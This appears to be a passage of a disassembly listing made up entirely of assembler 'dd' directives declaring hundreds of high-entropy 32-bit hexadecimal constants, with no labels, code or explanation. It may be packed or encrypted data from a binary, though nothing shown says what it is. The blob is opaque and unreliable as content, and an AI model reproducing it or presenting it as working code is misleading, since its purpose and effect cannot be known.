		dd 0E98958F3h, 0F7AA220Dh, 0F9AB40DBh, 586C0C73h, 7BBEEB31h
		dd 5026F91h, 60D23B7Ah,	0A6786A62h, 9A687ADFh, 5893EABBh
		dd 6FB64201h, 35D07095h, 10A35EAh, 0D5294FB7h, 81B02F62h
		dd 5C5A12BEh, 1CFC030h,	6D1F2CB6h, 2D00D021h, 1FBC11C8h
		dd 50ED000Dh, 84256786h, 56043541h, 0A08EE948h,	0E605F5EDh
		dd 0F1E36217h, 6A33210Ch, 0EE887F84h, 0C4680556h, 94CA86Dh
		dd 0B0403A9Bh, 256B0805h, 0AD80F552h, 0E20F910Dh, 3309707Ah
		dd 1D0B45h, 1A7D6580h, 5AE91471h, 0CD81D863h, 2E43FE74h
		dd 79EA3E44h, 67FF32EBh, 0DE9DCFD0h, 0E24D9754h, 0ED522F49h
		dd 5DD60C14h, 8909F667h, 0DC529423h, 0B8CE39B8h, 40EEB54Eh
		dd 0DD1CED85h, 0FE9838D4h, 0D74B9509h, 53C8FF1Bh, 0BA00292Dh
		dd 7B25DC91h, 5569604h,	79FBA105h, 6F17ABE9h, 88B11EBCh
		dd 0AF883A02h, 0E0C51726h, 0F82109B1h, 19C23F9h, 0F561182Fh
		dd 7109810Ch, 5ADD68D0h, 0ED4A1BBCh, 7AAB0271h,	0FD2987BFh
		dd 2295FAC4h, 97D3EAh, 875528B9h, 0C5B82F4Ah, 6905F180h
		dd 53B063A5h, 0E718BF13h, 0D4C69A05h, 20A156B8h, 6722AA1h
		dd 57C1FFD5h, 408B07F7h, 1772BEADh, 0C4BC759h, 0E90D6E79h
		dd 59C0CF77h, 0A26B2FC5h, 8BBA22Ah, 5A2508BAh, 0E8564AE6h
		dd 4A80AD2Fh, 2CFC4E8Bh, 81D0ECE9h, 5F5A0984h, 57317553h
		dd 5A547CB3h, 502F89BDh, 0EA20B04Eh, 6FB4A079h,	61C60E08h
		dd 3BA1E281h, 61E91290h, 82582851h, 7D678768h, 3C2D1D66h
		dd 9F25E40Dh, 0BA058150h, 2D6B34B9h, 353CF3C0h,	0FB515DC8h
		dd 0BD08C228h, 8909587Bh, 0BD9FC656h, 27A17AC4h, 5E142051h
		dd 0F6B1B99h, 18A7E85Eh, 75187042h, 0D1566D1Dh,	0A3260BA0h
		dd 0F4628A39h, 42065157h, 0E1DC4D6Eh, 0D1725D85h, 0CAF7E500h
		dd 0EC7CE622h, 5E6A07E7h, 0D04712B8h, 0B66B86C7h, 0ACA4194Bh
		dd 0CE30BDD3h, 0AD819580h, 60C0AD40h, 0ABF0EBF2h, 1A48BFFFh
		dd 0A898333Ah, 264D05F6h, 0E7EB0EC8h, 0F46F8B79h, 9D08A0AEh
		dd 1D1326D1h, 0EC45B5A0h, 98FABF63h, 7EA4C72Fh,	98F627B7h
		dd 0F7C25C64h, 200FE434h, 801F1CD7h, 0BA8C73C2h, 0BDD3100Eh
		dd 0D2F205C8h, 0AAAC0282h
		dd 0D30103F1h, 2B41C806h, 0CC103B4Bh, 0B62AE54Ch, 0E6807302h
		dd 51C568C7h, 40B382ADh, 75E7DE08h, 0E9CEFE01h,	31A7F9E1h
		dd 492F2850h, 957D9B75h, 0D881A5A8h, 980CA837h,	13AE230Ch
		dd 92B125E9h, 0DFCE0679h, 88B47FEDh, 44F63280h,	0D70A6225h
		dd 0B370B192h, 94394598h, 56972D04h, 68520298h,	81461821h
		dd 9DE9DDC2h, 407DA920h, 0A0327432h, 5F40E97Eh,	0E4728D25h
		dd 0F9B5380Bh, 34976023h, 0E92646F0h, 0BF81EAB8h, 9E623A4h
		dd 0D1E182Ah, 4C97F901h, 397F96EFh, 27A02B17h, 22DB9206h
		dd 56C4175Eh, 0FDF00781h, 890FA82Bh, 7E2D2BB9h,	0F98A045Dh
		dd 258F9BDh, 2E4498C1h,	17AC870Ah, 0D70D7752h, 882A370h
		dd 1568A641h, 741CD001h, 2605BABh, 0C507A3EAh, 0A9C28AC4h
		dd 50BEE6B6h, 92C74459h, 36FAA14Bh, 227B332Eh, 86C190F9h
		dd 5A66F0C7h, 0B6521208h, 452A148Ah, 0A97DFA27h, 187809Fh
		dd 0F672F179h, 41054E96h, 0EC18346Eh, 0C9A13B2Ch, 136FC2F9h
		dd 0CEB0FCBh, 25769C1Eh, 976B9E5Dh, 93986848h, 6B065A93h
		dd 13F3714Ch, 41451FF7h, 0BB63E184h, 0D11E601Ah, 5742E205h
		dd 5EA2AE9h, 0C3C38898h, 69038FE2h, 0F45676E1h,	30C0C06h
		dd 2CFEB713h, 91B510BAh, 28FBF547h, 7D8658B8h, 2F3790FAh
		dd 68188430h, 27CC683h,	81191F29h, 415B4000h, 1287BA1Eh
		dd 443AE4CEh, 0F4A9E973h, 3B4AB402h, 0C606ABCh,	1EC805Fh
		dd 0E9122862h, 1C77C4Eh, 0A97EFBBBh, 0CDB47E3Fh, 384F173Ah
		dd 895AD80Ah, 862A9941h, 87B0671h, 719DEEE4h, 0B869E9C1h
		dd 9DD13A09h, 4D0A1h, 0EE0D02D4h, 4F7DB31Ah, 0E3E0414Fh
		dd 74300FB9h, 0B0442ED8h, 6707C866h, 83E8A80Bh,	577D8B31h
		dd 0FB280AE5h, 0BDC9092Eh, 0D36FE709h, 98FBB9A8h, 3B2130E4h
		dd 647CC157h, 3308C5Ch,	0B51D1C9h, 0E18041Bh, 0C23D17E1h
		dd 6801AE0Eh, 55C233CEh, 0FDC91271h, 2FBD584h, 0FFDDF75Eh
		dd 87CE0C85h, 3F03594Bh, 81EC35F8h, 398F0B1Dh, 3D4905B9h
		dd 0BD0D6823h, 8C310D48h, 0FD66F052h, 2DA0F343h, 3AF1633Ah
		dd 66CA6582h, 2E4705AFh, 0FB5F06EBh, 217F1A79h,	3AA128C5h
		dd 6809DFA2h, 345F7593h, 0A6E91473h, 0BF07CF06h, 200367F9h
		dd 3BC7EF81h, 0C15F0AFEh, 0D605A9F9h, 8033D90Bh, 9A96F7B5h
		dd 17235420h, 9CBF19E9h, 32A9EE26h, 4FC334F8h, 26E7C126h
		dd 0E591A00Ch, 485EEAC3h, 0EB02A9E1h, 4FEC3C7Ch, 8A09454h
		dd 0C1F858B5h, 0EB805CA8h, 775B20FEh, 3E79B780h, 0E702D7F6h
		dd 0D3B25249h, 9233E375h, 58C2576Bh, 0FA02AD62h, 9A201FDDh
		dd 9819A47Dh, 9FE46B6Ch, 4A2F2901h, 71C2F77h, 44630203h
		dd 8AECA4E9h, 0D6056614h, 0A0565F2Fh, 1468F85Bh, 442EFD74h
		dd 21A4F52h, 0DC9E8CE9h, 2C219C92h, 0E1C00CADh,	9205F19Ch
		dd 5966C828h, 2058999Fh, 20176DC5h, 1B7B94A1h, 742B365Ch
		dd 9F3ADA82h, 42174870h, 0E8A02135h, 2DD82829h,	50DCA10Ah
		dd 0F431507Eh, 3E111273h, 9616B241h, 520BD1AEh,	0E2EC2B54h
		dd 6FFB5AF1h, 7884574Bh, 595AB405h, 9E955B3h, 58431A9Bh
		dd 2CAF604Fh, 53694898h, 99C1570Bh, 0A5F3EC54h,	28EC16D7h
		dd 34DA6809h, 7D63C67Ch, 0F7FA845Ah, 0C0562744h, 0A4C19AAh
		dd 35584B5Eh, 54583C06h, 0BD1CFC20h, 3B561D3Ah,	1668FB0Eh
		dd 17F6DAEBh, 85FC3768h, 30428FC2h, 7052335Eh, 62AF9465h
		dd 68013047h, 362A790Ch, 38B768A5h, 5B5A540Eh, 0EA4DA151h
		dd 0FD1D180Ah, 5560274Ch, 1BB32768h, 57E99AFEh,	0E55DE63Ah
		dd 63178963h, 0E5561999h, 2AFA60Eh, 0A9E06BCFh,	0A3F38008h
		dd 2C80DEF6h, 1DF8F0EEh, 0EDC165C0h, 53500148h,	28B8027Ah
		dd 827F461Ah, 91D9EF5h,	0D8098E8Eh, 2CE0DE0Fh, 4D02847h
		dd 0CCE028E9h, 0CB462066h, 9DC55356h, 0D0AE1C13h, 0DBF65BCDh
		dd 50E3D012h, 588AEBh, 0F61B0CC7h, 90F70105h, 478062CFh
		dd 0C07D5AD0h, 49F26848h, 0D8163A47h, 7319E6CBh, 909DD282h
		dd 4BCF165Eh, 0A4FB1D90h, 25082089h, 658277E9h,	0B6FF5758h
		dd 5EE93275h, 0C5E131DBh, 2D8C3AE5h, 0C1329554h, 0E951BD80h
		dd 669DEB3Ch, 0C67B77D4h, 18CCD7B7h, 53FAB405h,	14C314B3h
		dd 51DC80CFh, 3E444CB1h, 106EBB24h, 9CBA0F20h, 0C846A92Ah
		dd 94F5EBh, 3B8D49Eh, 0E9EC624Dh, 5AE8D925h, 0D23B79F8h
		dd 1B88AE64h, 3B509D57h, 0A6B565Dh, 0D370AC68h,	0CDB55160h
		dd 0AFE830E9h, 1005BE16h, 0F4657B2Dh, 58023F1Ch, 0F22995B3h
		dd 0D012C740h, 0BF370480h, 0F3199583h, 16AA7658h, 16CD1D6Ch
		dd 0D39055CEh, 5D829488h, 1DBE5890h, 30660FBh, 85C21E49h
		dd 0FAD2E40Dh, 5BFAC3F1h, 3179CEC2h, 0D7778DEh,	0C973C82Eh
		dd 6CA73C50h, 0C6A4CCE0h, 90BDDFB0h, 2F6F658Ch,	25F0448Eh
		dd 8654012Fh, 80565092h, 55AD1FBh, 83044DBDh, 43E0BA9Fh
		dd 76C5BA36h, 0E34264Eh, 0F6FA4143h, 0B0A56FBEh, 685F6282h
		dd 5FC07756h, 62E26B49h, 830BE8B0h, 0D8B93E87h,	0DB9931EAh
		dd 30D53050h, 5909EB90h, 5425C968h, 0B753604Dh,	0ECA2880Eh
		dd 6CF4C1D5h, 0FEA18BCEh, 28FD406Ah, 7D2DE9D8h,	0F6981084h
		dd 0B05026DFh, 135A081Eh, 78DC5E14h, 3F379859h,	90BD17C3h
		dd 493ABE3h, 0AF3C230Ah, 40672528h, 0BA0552DAh,	3E214FC1h
		dd 1B216AEh, 9103F8B3h,	0A363018h, 2D960D5Ch, 0CE255F41h
		dd 2DC8264h, 6D74D5C0h,	0C92C41EFh, 18C839A2h, 10DF06Eh
		dd 0B85002CAh, 24EB4D0Eh, 9B524377h, 0A72D98E0h, 94E1E009h
		dd 0E95831D0h, 7C31756Fh, 3E68B04Ch, 6935943Dh,	59614F0Fh
		dd 2A09E531h, 0F55490Dh, 0CB66E83Bh, 127EE658h,	452CE568h
		dd 0BDCDACF3h, 1750D40Ch, 9AC951F9h, 1D15DE1h, 5F38333Ch
		dd 0EABAFA3Ah, 7085B93h, 5AE0C07Bh, 20A207FBh, 1B2CC3F8h
		dd 1655C6AAh, 9CA420FDh, 37FD8F80h, 0F3DCA84Fh,	6A0213EAh
		dd 0C6BD0175h, 2207485Ch, 0EE5D2AE9h, 0DC0B9C90h, 0E0704C12h
		dd 0A0C82188h, 9A5C7359h, 34252720h, 109C37F1h,	21781D24h
		dd 0C20599F3h, 7CDA4787h, 4CA3C204h, 50EB780Ah,	95A08ACh
		dd 0B445046Dh, 0E9E4682Fh, 34D2952Ch, 0E1C5CE4Eh, 43D67404h
		dd 3868BF00h, 0F7274F2Ch, 3E25CDFh, 506C2ED1h, 9D4D1250h
		dd 60702A13h, 75FC4803h, 80CC657h, 446C2179h, 8C375902h
		dd 2753D620h, 0FF258154h, 9D907898h, 0E4094AB3h, 885CF9F3h
		dd 963E6C28h, 5EACA533h, 66110A9Eh, 2D238CACh, 788AAC25h
		dd 4E07FAE4h, 0C43CA26Dh, 41EFA2E9h, 0F703E8BAh, 0B4D480D8h
		dd 0E915F578h, 40414BC6h, 0F213A0C3h, 0B22D6811h, 9981666Ch
		dd 864C3AA1h, 0EA295578h, 33F9B06Eh, 2F62EF3Fh,	68EBD9D1h
		dd 302C3110h, 0F876B7Ch, 802726Dh, 9F2BDA5Dh, 54A58947h
		dd 52E74021h, 0D29F63C3h, 2F7303A9h, 0EF875C1Bh, 0D9A0CD93h
		dd 754BADE9h, 2DC0ED41h, 107F16C3h, 526855Ah, 0A8D19D0Bh
		dd 0B335018Ah, 0E980F8F2h, 9E403B9Bh, 8BCA232Ch, 0E7C55989h
		dd 0F2EF0985h, 0D7F78706h, 60EA618Eh, 0CB96E11h, 0E6D48081h
		dd 7A18A3E9h, 0F45354CCh, 0B31B5ECEh, 74FD2FBCh, 16D16B55h
		dd 1555770h, 9907BA68h,	3FABE976h, 0D5BE9485h, 9ACBAAC3h
		dd 6EDC5C89h, 0B7EAE970h, 2E40C948h, 92F4412h, 0A1687207h
		dd 0D3322259h, 9AB501BCh, 0C63A7030h, 0ED6BCC61h, 65F04243h
		dd 0C107ECC1h, 285ABAC4h, 17F5FC25h, 60D70A25h,	0B7485336h
		dd 45271167h, 6512FD6h
		dd 0B9E01248h, 4B993296h, 0F971C762h, 0D0BCBB3h, 6E1565E9h
		dd 7F839021h, 0C27520CBh, 964E229Dh, 0C5010289h, 7217A660h
		dd 80B44172h, 6E29DA38h, 8D124523h, 0FBB5C462h,	0FAD692F2h
		dd 354ECEDBh, 0C5C5BF20h, 0BCBF05EAh, 1375BFC7h, 0CC7A5FFFh
		dd 0C2674C7Bh, 5460A6EEh, 2965E3EBh, 0C43604Eh,	2C8A6F5Fh
		dd 7009CBF8h, 8E2B9B03h, 0C32DDF6h, 77A46250h, 640F9A90h
		dd 0BA172303h, 8E05CFA9h, 30F07EBCh, 210C686Ah,	1D4C252Fh
		dd 2DE91718h, 0B60BA2C4h, 0B1387FC7h, 5C0CBCBBh, 764B114Dh
		dd 1272FA6Bh, 2DD82917h, 1E136E05h, 0EE9212AAh,	72587295h
		dd 244BA09Ch, 47C7070Ah, 4EE48297h, 11F5000Bh, 4003E9B6h
		dd 0EC9F5C9Ch, 4D0427B8h, 8CB01B3Ch, 0EAD1FF27h, 0E951382Fh
		dd 0BBE85440h, 0E46827DEh, 9EE379E8h, 13005FD6h, 0B77F4508h
		dd 2B08A003h, 36B1090Eh, 44F57429h, 420C83CAh, 0E90C1C10h
		dd 51529B1Ch, 3CAE6800h, 8159791Eh, 0B5A70C9h, 0F6E9430Ah
		dd 0D5F7CC22h, 20FA9269h, 1779D95Eh, 48406809h,	0AE647557h
		dd 27CAF095h, 0C3618FE9h, 0D2186B5Fh, 8078D6FCh, 0EB3CC935h
		dd 5FBACBAAh, 0E7D7DC0Ch, 302F51D2h, 0FAA95ABBh, 0DE859F7Eh
		dd 26DDE431h, 0B9BDDD60h, 7D9580Ch, 0F8BA5248h,	86B7E5A7h
		dd 0E25F4628h, 852F36A3h, 0E47752E2h, 6CFA3425h, 419B3412h
		dd 8765A1A7h, 2EDE215Dh, 0E9A083F2h, 0EBA919EDh, 17092DEAh
		dd 24EEDBCDh, 9E80BB8Dh, 0B07D96C6h, 44E12FEFh,	3020135Ah
		dd 0F3810382h, 34ED689Fh, 0C630C01h, 0E5E9AE85h, 0F0CF123Eh
		dd 0D1777ABh, 1FBF3B8Bh, 0E849C9F8h, 1BBDB855h,	0B6BEB5C4h
		dd 4A28E913h, 39C420FCh, 542DCCCFh, 5E045A4Ch, 0CAAA4B12h
		dd 0C48AD5D1h, 3000428Fh, 66D3F6D9h, 0EE8F0EBFh, 0A2CF6E53h
		dd 76A5E9FCh, 0D0FC2F89h, 0F4976462h, 0B054F18h, 638158D5h
		dd 0BD4D3F7h, 0E1F1025Ah, 75F5EBAAh, 6AF2DF63h,	0A0C5F5AEh
		dd 0A88DAEFFh, 0BD63FE08h, 0A1581129h, 114CB7Dh, 5BE6786h
		dd 2A333994h, 0AA7717ABh, 1713D912h, 10E05F05h,	626A69AAh
		dd 6F348C3Dh, 0EFD1CEB1h, 94CA25E6h, 0F5C5801Ch, 0ED75F539h
		dd 0FE1B15BBh, 0E97DE816h, 3E0F602Eh, 230E42BFh, 81525D4Ch
		dd 0F81C682Ah, 48A09734h, 0B981EA15h, 2206EA34h, 0C08E1948h
		dd 0CE3A311Ch, 3CC4608Eh, 9F051128h, 909246A3h,	0D9F11D0Fh
		dd 0F7778738h, 1B64154h, 492F3400h, 13EA810Ah, 1EA46F17h
		dd 0CB0F1CBFh, 0BBF359CBh, 0C6840190h, 0B932EA71h, 645FD696h
		dd 9C3CFB59h, 160C4B68h, 608BBE15h, 0E9525C02h,	0E7F0CFDCh
		dd 1342A8B4h, 0D0300305h, 2C187DB9h, 0AAFB9F30h, 50002BC1h
		dd 0CFB716B4h, 1242C780h, 0BD1895E9h, 0F78D9EB4h, 0E4166C9h
		dd 0CE62092Ch, 0DF3EEA4h, 0B6995250h, 0CADE2DA5h, 0BB8F9852h
		dd 0C64C12C9h, 17D71F47h, 580A4B38h, 0B7DF96D5h, 730C1268h
		dd 0BD25FE1Dh, 7EFCAA00h, 0AA17A8E9h, 0DCB8C081h, 735B8187h
		dd 3281743Bh, 125BAA6Ch, 0D6C6F828h, 2402CAAAh,	0E8A5710Ah
		dd 80E4779Dh, 44536168h, 0E95704AAh, 0FFE47345h, 806D40E3h
		dd 9D75C239h, 0EA8948F2h, 0D5158731h, 8B990429h, 55560B0h
		dd 567E4D68h, 22C0BE1Bh, 765B1F94h, 0F1C5041Ah,	0EE76C62Ah
		dd 4D75F4D0h, 89C92CB0h, 0E2DF39FAh, 39EE108Ch,	6F72813h
		dd 10BE3873h, 74C4595Eh, 9D0BC0ECh, 79DC09F8h, 0C1E5EB92h
		dd 77F08E02h, 0BE012547h, 2AA44BA2h, 0B67DEC6Eh, 597A095Ah
		dd 0CB06053Bh, 0C509FFF3h, 8EFD28BFh, 0C1FBB205h, 3EB5E993h
		dd 0E2663F82h, 0ED965F0Ah, 0EFEE918h, 97126824h, 0B0A0FBD1h
		dd 9F36EF20h, 2E924EC9h, 2FE9F0CCh, 7DE78037h, 42D92D3Fh
		dd 0FAECDF34h, 6A9E3F55h, 0E31A28C0h, 0B0F792BCh, 5E614083h
		dd 4565758h, 7A824EDAh,	0F56F40EFh, 41EC0E92h, 74E3E4EDh
		dd 9D67FEh, 5CE74780h, 2C1A24Ah, 7584C98Eh, 0F3550CB9h
		dd 0C4E4E83h, 0C8977CEDh, 0BB404743h, 916AAEACh, 0F47096Dh
		dd 0B327A2C6h, 6EB21826h, 56BF807Ah, 0F8AF5027h, 60024AEEh
		dd 0BA54C43Fh, 0D59180BDh, 1240D180h, 0CE8BAFE9h, 3E8F4146h
		dd 66406BC7h, 0B5203768h, 0FAD49491h, 974D4A60h, 89B89894h
		dd 812F6B2Ch, 6F087BF6h, 4194DEE2h, 29F9BFE9h, 15C9DEE2h
		dd 972EFEDBh, 0C838ABD1h, 58E29569h, 0B0F56E57h, 0FBAA5D28h
		dd 406E84Bh, 43183203h,	905EAF0h, 1DA9101Bh, 720CFF4h
		dd 0B1953AC4h, 5580B900h, 12B81534h, 375FB0Eh, 6BE1C04Ah
		dd 0BD025A33h, 51F2FB72h, 72387A17h, 8AF00AF1h,	24F2276Dh
		dd 9025197Ah, 3DBEDFEBh, 95AED90h, 0F25475E1h, 0D6FDA6AFh
		dd 34F2EA56h, 0D4BE6884h, 3B9DBAE1h, 42EDC16Ah,	0E128024Ch
		dd 0C43EB95Dh, 38B139A8h, 0A36BA94Ah, 0DFE982C0h, 94B0712Eh
		dd 0F918718Fh, 5D88D9Bh, 2206BD18h, 80085232h, 50BF7004h
		dd 97B175B6h, 148B0CC0h, 48F659BDh, 1087CA87h, 0E5301713h
		dd 34BA3C1Fh, 46DC0A07h, 57140AEh, 5E1F8D0Eh, 708BA002h
		dd 0BD2977C1h, 0A0A96C89h, 0AD9D677Dh, 965D983Ah, 0F76812DEh
		dd 84C86128h, 5EF33A0Dh, 84B8A85Ah, 69EBED81h, 0CFF1308Dh
		dd 20D34FB7h, 3A1CBD91h, 656D220h, 73C8F4B9h, 10258A1Bh
		dd 8FED301h, 3106FE9Ch,	20128FC3h, 829032F5h, 196BC400h
		dd 1860BA08h, 0E94612EAh, 0AC3DC46Dh, 43ED07B3h, 30C3545Ch
		dd 6E184C0Bh, 6986E502h, 9C607B61h, 4A2D19C6h, 12997806h
		dd 0FC2EAD2Bh, 6B390998h, 9D10FD48h, 26126F68h,	4C3935F8h
		dd 0B30E7620h, 58650258h, 0F04A61A8h, 0B6800F7h, 0B516EB63h
		dd 76976CF8h, 84FD492Fh, 72D18D65h, 0F36FD821h,	3D984AF3h
		dd 4060B8F2h, 0DD5CF759h, 0A2812CAh, 0F4D42DFDh, 7BC0432Fh
		dd 30B2DADh, 26DD460h, 2D5EC60h, 297E2959h, 0EB30A20Eh
		dd 93D7D464h, 0BE9A815Fh, 0D8E12A1Ah, 0F57A1BE9h, 5EB0220Bh
		dd 0AE18FBEDh, 4BB6808h, 1A1D521Eh, 5629178Bh, 0E5AAC274h
		dd 516193D4h, 0DA72E115h, 31E95F04h, 0C5F1E828h, 92ACE2D1h
		dd 7DDB097Fh, 0FC7E0913h, 1660108Eh, 248F8ABBh,	11C5150h
		dd 53D2306Dh, 5D7709BBh, 22807A6Ah, 27067BFBh, 3D07E3ECh
		dd 0C10E011Fh, 0EBA28169h, 428492FCh, 455B0E9h,	6AA45456h
		dd 0F32A4F0Fh, 6D531261h, 0F257D2A3h, 0AD414A24h, 979D9CF5h
		dd 51E0CBF6h, 0B0705B9h, 0E6E963D8h, 0E7684922h, 0B689AB56h
		dd 3397D15h, 637734D3h,	40476155h, 35129598h, 17B4948h
		dd 6FA36AC4h, 0DC2850E9h, 0E9D02916h, 82F58526h, 47119A20h
		dd 68483415h, 0C411B872h, 29D95439h, 5C0192E1h,	32129830h
		dd 0B991D119h, 1C86A80Dh, 0A7360EF0h, 0C0F79249h, 251234B7h
		dd 0EDA07C29h, 0BCBE5BB8h, 0BB7C5A1h, 114CC9D1h, 0AC813C57h
		dd 0CC31F274h, 4755DBE2h, 9EC1D9E9h, 0EAD13FD2h, 313FBDE4h
		dd 80F41118h, 0A61BA10h, 5F81486Ah, 2921CC44h, 0CE7868BFh
		dd 514BAE3h, 112A87C5h,	0C882BE77h, 1C3E5EFCh, 0BA1684Eh
		dd 64276058h, 1780F043h, 0F3EC163Dh, 87E77B0Bh,	1D84DFF8h
		dd 7AE6AE01h, 93D8DD2Eh, 5E80EB5Ah, 247BF4F1h, 104313ADh
		dd 760831B1h, 336E4937h, 0DD5E76BCh, 0BE5B70B8h, 44768A39h
		dd 0E4355C35h, 0DF417F94h, 0EFCEF07Fh, 0EEB2749h, 9706ACB9h
		dd 91ED2A1Dh, 313002E5h, 1CA35CF3h, 12114AD7h, 9074AFC0h
		dd 0AA3CD1D8h, 9F917063h, 0D9272FCCh, 0EAEC465Bh, 2FBCBA96h
		dd 3E55F588h, 0D45D20CFh
		dd 0A9B65212h, 1243CFBAh, 82308DA1h, 0B57A9A23h, 685F3B42h
		dd 20643EFDh, 66F62839h, 22276832h, 4EE8008h, 9D971178h
		dd 0BE99860h, 0D73A0B95h, 23A56CC7h, 2ED4BE6h, 42B8BDA2h
		dd 96F5285Bh, 924E0939h, 630A4072h, 857FA7D7h, 0B4161D89h
		dd 9B18FEBh, 0D132685Ch, 1770BCB7h, 0A84AE079h,	71859A5Ah
		dd 1E858B2Dh, 4C2F05F3h, 58C625AAh, 0FDC6BADDh,	5F53A6ECh
		dd 0C12D7882h, 607C2137h, 0C813372h, 4F14FEF1h,	22843F20h
		dd 0D352A3EEh, 0C72C8E0Fh, 7D9974BFh, 5062198Eh, 0F8C07D14h
		dd 101278EFh, 66BC29C2h, 0BBC0B842h, 9E60684h, 25DB4CC2h
		dd 442772Fh, 16299CF7h,	0BE010FCDh, 0EC4BCBDEh,	0D011B124h
		dd 0A8F0BB06h, 0C7DD734Fh, 0B968B3Bh, 0A0A93EE9h, 47360A34h
		dd 0E581B507h, 80B2EF01h, 5558C5DEh, 99BE2BE9h,	19D5AD68h
		dd 3238540Fh, 0E17AB24Eh, 3E124A55h, 0D9958570h, 1DDCCBC5h
		dd 91F4972h, 0F5BFB43Eh, 0C76A030Bh, 770BFF01h,	8B618B55h
		dd 1C725640h, 139FE687h, 38650C56h, 63B8D78Fh, 0EA0FA567h
		dd 75E0DAE2h, 752ADFC6h, 0E2328E1Dh, 6BADB378h,	0FC4C10E3h
		dd 99A17648h, 51DDCCA1h, 5C3B8C95h, 0EAFB7EAh, 762FA0E8h
		dd 0CB1A4AAh, 0EBC3E153h, 0C1397A28h, 20BA5EB5h, 5D5D5C08h
		dd 6CB79E20h, 5602BD37h, 0F177EB01h, 7BE9C119h,	0C94761Bh
		dd 1D499A68h, 2DC29D1Dh, 7A86167Fh, 0E9301366h,	0BB4BBB83h
		dd 3CA282FBh, 52B90009h, 3B4CDD08h, 76290360h, 24B2D51h
		dd 16B2DCBAh, 0A6600912h, 0E32D6855h, 0BBCFE42h, 0EDE45669h
		dd 0E760A2F0h, 5D9E2510h, 354E0323h, 57F95C10h,	6D09E4A8h
		dd 0D0405EEh, 89200BAEh, 0D2B04695h, 4BF8AB5Dh,	0E716A458h
		dd 0FABA5205h, 0B204B05Fh, 9C18BBB5h, 9D7276EBh, 0DF013113h
		dd 53FE4625h, 119F037Bh, 0FA10CA54h, 5A0FC7C9h,	8405F004h
		dd 0AA51E4C0h, 0D6B329B7h, 8CE08B8h, 8BBA552Dh,	53F77992h
		dd 271FA8C0h, 75144ABFh, 0F4BD995h, 0E41D5753h,	211001A2h
		dd 834D27D8h, 0CB87A20Eh, 3BEAE883h, 6F092F26h,	8823652h
		dd 67F70BA9h, 92892712h, 22E92518h, 6804239Eh, 6FF83245h
		dd 0EED4AADBh, 8D9FD61h, 71C58272h, 10DF50Fh, 0B963A3h
		dd 149F2DADh, 0CA25817Bh, 985E2F25h, 8EB486C5h,	0DB829759h
		dd 0B7021945h, 0EE7257FCh, 4D89F09Fh, 0D7820409h, 4DE60105h
		dd 5538EE2Eh, 85CB6FC3h, 0D79628BFh, 0C211F41h,	0D2BDDC9h
		dd 3EC1987Dh, 1111CADh,	72C703B9h, 0FA29D66Bh, 55A780DFh
		dd 7E18E60Ah, 601A9021h, 0B5EF2BD9h, 451637ECh,	9EA6F931h
		dd 678EE902h, 0DD5A4E8Ah, 78A04B11h, 143D5454h,	0BD79A872h
		dd 0F9442E2Fh, 9B83619Fh, 0EC930404h, 9354B325h, 1249DC08h
		dd 0D14C005Ch, 811C6074h, 43B0E105h, 8680625Fh,	4FE71F47h
		dd 0C9E70049h, 38B52624h, 9AF6E917h, 5A05A35Dh,	26991479h
		dd 2E2BB340h, 9AA6A0A0h, 0CD8180CAh, 0E0586D27h, 0B5465406h
		dd 964C34DBh, 8269023Dh, 380DE97Ch, 0E6600BF4h,	9045733Fh
		dd 930EA69h, 8E9492Dh, 284AC758h, 1127E6E8h, 96971970h
		dd 744F0B46h, 26C16723h, 0E0B28057h, 0BF4E0B7Dh, 0F482001Fh
		dd 5AD701B1h, 6217692Dh, 10EA24E3h, 0E912073Bh,	7E64A16Ch
		dd 8BCEBCB6h, 5E526856h, 0D7DACE96h, 0E08BE9F1h, 0C2DA1BC3h
		dd 50BF642Eh, 13D49DF5h, 494C8040h, 61905DFBh, 0FF82BD1Eh
		dd 5EB7D8CEh, 0EE5F653Fh, 0FC686A7Ch, 5F60A475h, 5B6F8138h
		dd 14E1DC52h, 0F2A06EB9h, 8856B109h, 0A0D24CCBh, 80C7704Dh
		dd 3328EB80h, 285DD766h, 0E05D27F7h, 3DB7A98Ah,	0F8A48A75h
		dd 3A215961h, 0E5E0C567h, 0E4BD7838h, 0C2D135E9h, 3930B99Ah
		dd 3EEF9C5Ah, 0B2A8F813h, 68D802DCh, 0B0FF7B99h, 97ACE967h
		dd 71E691A0h, 4EE60D0Ah, 40D6F72Dh, 27FDEC76h, 7056DFFAh
		dd 140BCA21h, 3D9C739Ch, 8142F827h, 0C288F17Fh,	5E8A7E9h
		dd 821672BBh, 41128DB6h, 42CECBC0h, 0E5555E4Ch,	250804E9h
		dd 0D68CA6DBh, 6B833213h, 7686B4ADh, 71C2037Dh,	55922973h
		dd 8248D5D2h, 445F315Ah, 0C6251EE3h, 0D1DDFBC2h, 0B68542BFh
		dd 144C940Ch, 86697861h, 1208B468h, 0F5E9B85Eh,	77AF6D09h
		dd 0AC5E1D91h, 0F309CE4Fh, 6649DFBCh, 3F773CD4h, 16B31E52h
		dd 78EE2D55h, 13C46816h, 0C8524633h, 3D8F1AC9h,	1425E96Fh
		dd 35AAF818h, 30BC082h,	7EF50781h, 0E431F944h, 5930F0D2h
		dd 5ED6682Ch, 0D9BA90BDh, 6604CB48h, 0AE5D4934h, 192089B5h
		dd 3D6F168Bh, 10FEAC15h, 5B28572Ah, 0BF40F0D7h,	2FFD09A8h
		dd 53BD2E94h, 8F7925BAh, 0E9C33040h, 8CED5BCAh,	401CBEECh
		dd 63AD6759h, 32880020h, 0E9F676D4h, 25BDEEFBh,	97BBF858h
		dd 0E2A45F6Fh, 0FE04D1D3h, 0C9932C5Fh, 9A329020h, 0B5689AB5h
		dd 2562EB54h, 686E6806h, 3AB00177h, 0F9586F35h,	3C8FFDD6h
		dd 58BE588Ah, 712A0EF9h, 9EBD0324h, 0FF9CD222h,	0E2BC7549h
		dd 8E8932F4h, 885D514Ch, 31136FA8h, 68382CEEh, 986B422Dh
		dd 2781C874h, 9EF81699h, 27E0F295h, 0F4DB7E5Ah,	43359249h
		dd 60AF8DDDh, 5B52D26h,	2C05F8BDh, 24463F36h, 7513D9Ah
		dd 0E91181FEh, 24730BA1h, 0E8C58731h, 777F393Bh, 0C9C0D65Bh
		dd 3D5827BDh, 0B122B12h, 0FE70BF7Bh, 276352EBh,	1DD8231Eh
		dd 770C420h, 9B60A9BAh,	0AB84A445h, 287B92A7h, 9FD8B4FCh
		dd 954273E2h, 5DB6C000h, 810025B3h, 2D063FCBh, 90EBC145h
		dd 85F3017Bh, 13677FFh,	0F8636D8h, 1247095Fh, 0B71264E2h
